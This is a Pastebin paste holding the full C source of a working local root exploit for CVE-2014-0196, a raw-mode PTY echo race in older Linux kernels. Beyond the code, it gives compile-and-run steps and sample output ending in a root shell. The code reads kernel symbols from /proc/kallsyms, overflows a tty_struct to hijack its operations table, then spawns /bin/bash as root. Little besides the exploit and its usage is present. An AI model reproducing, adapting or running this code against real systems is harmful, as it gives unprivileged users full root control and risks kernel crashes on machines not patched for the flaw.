TrojanCoder

Half

Mar 26th, 2017
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 5.40 KB | None | 0 0
  1. /*
  2.  * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
  3.  * condition
  4.  *
  5.  * Slightly-less-than-POC privilege escalation exploit
  6.  * For kernels >= v3.14-rc1
  7.  *
  8.  * Matthew Daley <mattd@bugfuzz.com>
  9.  *
  10.  * Usage:
  11.  *   $ gcc cve-2014-0196-md.c -lutil -lpthread
  12.  *   $ ./a.out
  13.  *   [+] Resolving symbols
  14.  *   [+] Resolved commit_creds: 0xffffffff81056694
  15.  *   [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
  16.  *   [+] Doing once-off allocations
  17.  *   [+] Attempting to overflow into a tty_struct...............
  18.  *   [+] Got it :)
  19.  *   # id
  20.  *   uid=0(root) gid=0(root) groups=0(root)
  21.  *
  22.  * WARNING: The overflow placement is still less-than-ideal; there is a 1/4
  23.  * chance that the overflow will go off the end of a slab. This does not
  24.  * necessarily lead to an immediate kernel crash, but you should be prepared
  25.  * for the worst (i.e. kernel oopsing in a bad state). In theory this would be
  26.  * avoidable by reading /proc/slabinfo on systems where it is still available
  27.  * to unprivileged users.
  28.  *
  29.  * Caveat: The vulnerability should be exploitable all the way from
  30.  * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
  31.  * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
  32.  * GFP_ATOMIC memory consumption") that make exploitation simpler, which this
  33.  * exploit relies on.
  34.  *
  35.  * Thanks to Jon Oberheide for his help on exploitation technique.
  36.  */
  37.  
  38. #include <sys/stat.h>
  39. #include <sys/types.h>
  40. #include <fcntl.h>
  41. #include <pthread.h>
  42. #include <pty.h>
  43. #include <stdio.h>
  44. #include <string.h>
  45. #include <termios.h>
  46. #include <unistd.h>
  47.  
  48. #define TTY_MAGIC 0x5401
  49.  
  50. #define ONEOFF_ALLOCS 200
  51. #define RUN_ALLOCS    30
  52.  
  53. struct device;
  54. struct tty_driver;
  55. struct tty_operations;
  56.  
  57. typedef struct {
  58.     int counter;
  59. } atomic_t;
  60.  
  61. struct kref {
  62.     atomic_t refcount;
  63. };
  64.  
  65. struct tty_struct_header {
  66.     int magic;
  67.     struct kref kref;
  68.     struct device *dev;
  69.     struct tty_driver *driver;
  70.     const struct tty_operations *ops;
  71. } overwrite;
  72.  
  73. typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
  74. typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);
  75.  
  76. int master_fd, slave_fd;
  77. char buf[1024] = {0};
  78. commit_creds_fn commit_creds;
  79. prepare_kernel_cred_fn prepare_kernel_cred;
  80.  
  81. int payload(void) {
  82.     commit_creds(prepare_kernel_cred(0));
  83.  
  84.     return 0;
  85. }
  86.  
  87. unsigned long get_symbol(char *target_name) {
  88.     FILE *f;
  89.     unsigned long addr;
  90.     char dummy;
  91.     char name[256];
  92.     int ret = 0;
  93.  
  94.     f = fopen("/proc/kallsyms", "r");
  95.     if (f == NULL)
  96.         return 0;
  97.  
  98.     while (ret != EOF) {
  99.         ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);
  100.         if (ret == 0) {
  101.             fscanf(f, "%s\n", name);
  102.             continue;
  103.         }
  104.  
  105.         if (!strcmp(name, target_name)) {
  106.             printf("[+] Resolved %s: %p\n", target_name, (void *)addr);
  107.  
  108.             fclose(f);
  109.             return addr;
  110.         }
  111.     }
  112.  
  113.     printf("[-] Couldn't resolve \"%s\"\n", name);
  114.  
  115.     fclose(f);
  116.     return 0;
  117. }
  118.  
  119. void *overwrite_thread_fn(void *p) {
  120.     write(slave_fd, buf, 511);
  121.  
  122.     write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
  123.     write(slave_fd, &overwrite, sizeof(overwrite));
  124. }
  125.  
  126. int main() {
  127.     char scratch[1024] = {0};
  128.     void *tty_operations[64];
  129.     int i, temp_fd_1, temp_fd_2;
  130.  
  131.     for (i = 0; i < 64; ++i)
  132.         tty_operations[i] = payload;
  133.  
  134.     overwrite.magic                 = TTY_MAGIC;
  135.     overwrite.kref.refcount.counter = 0x1337;
  136.     overwrite.dev                   = (struct device *)scratch;
  137.     overwrite.driver                = (struct tty_driver *)scratch;
  138.     overwrite.ops                   = (struct tty_operations *)tty_operations;
  139.  
  140.     puts("[+] Resolving symbols");
  141.  
  142.     commit_creds = (commit_creds_fn)get_symbol("commit_creds");
  143.     prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
  144.     if (!commit_creds || !prepare_kernel_cred)
  145.         return 1;
  146.  
  147.     puts("[+] Doing once-off allocations");
  148.  
  149.     for (i = 0; i < ONEOFF_ALLOCS; ++i)
  150.         if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
  151.             puts("[-] pty creation failed");
  152.             return 1;
  153.         }
  154.  
  155.     printf("[+] Attempting to overflow into a tty_struct...");
  156.     fflush(stdout);
  157.  
  158.     for (i = 0; ; ++i) {
  159.         struct termios t;
  160.         int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
  161.         pthread_t overwrite_thread;
  162.  
  163.         if (!(i & 0xfff)) {
  164.             putchar('.');
  165.             fflush(stdout);
  166.         }
  167.  
  168.         if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
  169.             puts("\n[-] pty creation failed");
  170.             return 1;
  171.         }
  172.  
  173.         for (j = 0; j < RUN_ALLOCS; ++j)
  174.             if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
  175.                 puts("\n[-] pty creation failed");
  176.                 return 1;
  177.             }
  178.  
  179.         close(fds[RUN_ALLOCS / 2]);
  180.         close(fds2[RUN_ALLOCS / 2]);
  181.  
  182.         write(slave_fd, buf, 1);
  183.  
  184.         tcgetattr(master_fd, &t);
  185.         t.c_oflag &= ~OPOST;
  186.         t.c_lflag |= ECHO;
  187.         tcsetattr(master_fd, TCSANOW, &t);
  188.  
  189.         if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
  190.             puts("\n[-] Overwrite thread creation failed");
  191.             return 1;
  192.         }
  193.         write(master_fd, "A", 1);
  194.         pthread_join(overwrite_thread, NULL);
  195.  
  196.         for (j = 0; j < RUN_ALLOCS; ++j) {
  197.             if (j == RUN_ALLOCS / 2)
  198.                 continue;
  199.  
  200.             ioctl(fds[j], 0xdeadbeef);
  201.             ioctl(fds2[j], 0xdeadbeef);
  202.  
  203.             close(fds[j]);
  204.             close(fds2[j]);
  205.         }
  206.  
  207.         ioctl(master_fd, 0xdeadbeef);
  208.         ioctl(slave_fd, 0xdeadbeef);
  209.  
  210.         close(master_fd);
  211.         close(slave_fd);
  212.  
  213.         if (!setresuid(0, 0, 0)) {
  214.             setresgid(0, 0, 0);
  215.  
  216.             puts("\n[+] Got it :)");
  217.             execl("/bin/bash", "/bin/bash", NULL);
  218.         }
  219.     }
  220. }
Add Comment
Please, Sign In to add comment